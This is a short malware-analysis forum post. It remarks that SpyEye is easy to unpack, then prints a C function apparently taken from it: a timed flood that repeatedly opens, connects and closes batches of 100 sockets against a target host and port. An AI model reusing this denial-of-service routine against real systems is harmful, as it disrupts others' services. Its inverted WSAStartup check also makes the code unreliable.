EP_X0FF wrote: An surprise? Quite primitive.Yeah, let me say that SpyEye is become pretty trivial to unpack and decode. I'd say it's almost boring :D
A forum for reverse engineering, OS internals and malware analysis
EP_X0FF wrote: An surprise? Quite primitive.Yeah, let me say that SpyEye is become pretty trivial to unpack and decode. I'd say it's almost boring :D
void cmd_ssyn(LPSTR host, u_short port, DWORD second)
{
WSADATA wsadata;
SOCKADDR_IN sin;
u_long mode = 1;
SOCKET s;
SOCKET ss[100];
if(WSAStartup(MAKEWORD(2, 0/*!? 2*/), &wsadata))
{
DWORD inetaddr = resolve(host);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inetaddr;
int st = GetTickCount(); // start time
while(GetTickCount()-st <= second*1000) // тайм-аут
{
for(int i=0; i < 100; i++)
{
if(Stop) break;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
ss[i] = s;
if(s != INVALID_SOCKET)
{
ioctlsocket(s, FIONBIO, &mode);
}
}
for(int i=0; i < 100; i++)
{
connect(ss[i], (SOCKADDR*)&sin, sizeof(sin));
}
Sleep(100);
for(int i=0; i < 100; i++)
{
closesocket(ss[i]);
}
}
}
}